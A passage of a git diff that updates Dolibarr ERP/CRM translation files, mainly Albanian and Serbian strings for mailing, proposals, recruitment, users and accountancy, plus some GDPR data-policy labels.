+DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/sq_AL/mails.lang b/htdocs/langs/sq_AL/mails.lang index d7420351184..1b7c14fed84 100644 --- a/htdocs/langs/sq_AL/mails.lang +++ b/htdocs/langs/sq_AL/mails.lang @@ -7,10 +7,10 @@ MailCard=EMailing card MailRecipients=Recipients MailRecipient=Recipient MailTitle=Përshkrimi -MailFrom=Dërguesi +MailFrom=From MailErrorsTo=Errors to MailReply=Reply to -MailTo=Receiver(s) +MailTo=To MailToUsers=To user(s) MailCC=Copy to MailToCCUsers=Copy to users(s) @@ -178,3 +178,4 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. diff --git a/htdocs/langs/sq_AL/main.lang b/htdocs/langs/sq_AL/main.lang index ffad3cdd5c6..6c3e31b561e 100644 --- a/htdocs/langs/sq_AL/main.lang +++ b/htdocs/langs/sq_AL/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=No translation Translation=Translation +Translations=Translations CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Valid Approve=Approve Disapprove=Disapprove ReOpen=Re-Open +OpenVerb=Hapur Upload=Upload ToLink=Link Select=Select @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=No user group defined Password=Fjalëkalimi -PasswordRetype=Retype your password +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Note that a lot of features/modules are disabled in this demonstration. Name=Name NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Përshkrimi DescriptionOfLine=Description of line DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Event @@ -344,7 +353,7 @@ KiloBytes=Kilobytes MegaBytes=Megabytes GigaBytes=Gigabytes TeraBytes=Terabytes -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Events about this member ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s late ToDo=To do Completed=Completed @@ -517,6 +527,7 @@ or=or Other=Tjetër Others=Others OtherInformations=Other information +Workflow=Workflow Quantity=Quantity Qty=Qty ChangedBy=Changed by @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Attached files and documents JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=Feature disabled MoveBox=Move widget Offered=Offered NotEnoughPermissions=You don't have permission for this action +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Session name Method=Metoda Receive=Receive @@ -798,6 +811,7 @@ URLPhoto=URL of photo/logo SetLinkToAnotherThirdParty=Link to another third party LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiscal year ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Contracts SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Rate +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Përdorues i brendshëm +ExternalUser=Përdorues i jashtëm diff --git a/htdocs/langs/sq_AL/propal.lang b/htdocs/langs/sq_AL/propal.lang index b5056ba3c40..92c6639b276 100644 --- a/htdocs/langs/sq_AL/propal.lang +++ b/htdocs/langs/sq_AL/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=No draft proposals CopyPropalFrom=Create commercial proposal by copying existing proposal CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Default commercial proposal validity duration (in days) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Availability delay SetAvailability=Set availability delay AfterOrder=after order OtherProposals=Other proposals + ##### Availability ##### AvailabilityTypeAV_NOW=Immediate AvailabilityTypeAV_1W=1 week AvailabilityTypeAV_2W=2 weeks AvailabilityTypeAV_3W=3 weeks AvailabilityTypeAV_1M=1 month -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Representative following-up proposal TypeContact_propal_external_BILLING=Customer invoice contact TypeContact_propal_external_CUSTOMER=Customer contact following-up proposal TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Default template when closing a business proposal (unbilled) DefaultModelPropalCreate=Default model creation DefaultModelPropalToBill=Default template when closing a business proposal (to be invoiced) -DefaultModelPropalClosed=Default template when closing a business proposal (unbilled) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Refuzo +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Written acceptance, company stamp, date and signature ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/sq_AL/recruitment.lang b/htdocs/langs/sq_AL/recruitment.lang index 6b0e8117254..5beb4bb1ce2 100644 --- a/htdocs/langs/sq_AL/recruitment.lang +++ b/htdocs/langs/sq_AL/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Rrogë +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/sq_AL/users.lang b/htdocs/langs/sq_AL/users.lang index 2cb2968f29e..85340d32138 100644 --- a/htdocs/langs/sq_AL/users.lang +++ b/htdocs/langs/sq_AL/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Remove from group PasswordChangedAndSentTo=Password changed and sent to %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Request to change password for %s sent to %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Users & Groups @@ -68,7 +68,6 @@ CreateDolibarrLogin=Create a user CreateDolibarrThirdParty=Create a third party LoginAccountDisableInDolibarr=Account disabled in Dolibarr. UsePersonalValue=Use personal value -InternalUser=Përdorues i brendshëm ExportDataset_user_1=Users and their properties DomainUser=Domain user %s Reactivate=Reactivate @@ -114,7 +113,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +123,9 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows diff --git a/htdocs/langs/sr_RS/accountancy.lang b/htdocs/langs/sr_RS/accountancy.lang index ba595027daf..2c52ea0caf6 100644 --- a/htdocs/langs/sr_RS/accountancy.lang +++ b/htdocs/langs/sr_RS/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Stanje računa @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Izveštaj prodaje -ACCOUNTING_PURCHASE_JOURNAL=Izveštaj nabavke -ACCOUNTING_MISCELLANEOUS_JOURNAL=Ostali izveštaji +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Izveštaj troškova -ACCOUNTING_SOCIAL_JOURNAL=Izveštaj društvenih aktivnosti +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Izveštaj društvenih aktivnosti ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Tip dokumenta Docdate=Datum @@ -210,7 +217,7 @@ Codejournal=Izveštaj JournalLabel=Journal label NumPiece=Deo broj TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=Po godini NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finansijski izveštaji ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finansijski izveštaji uključujući sve vrste uplata preko bankovnog računa @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Ukupni obrt pre poreza TotalMarge=Ukupna prodajna marža -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Greška, ne možete opbrisati ovaj računovodstveni nalog, jer je u upotrebi -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize 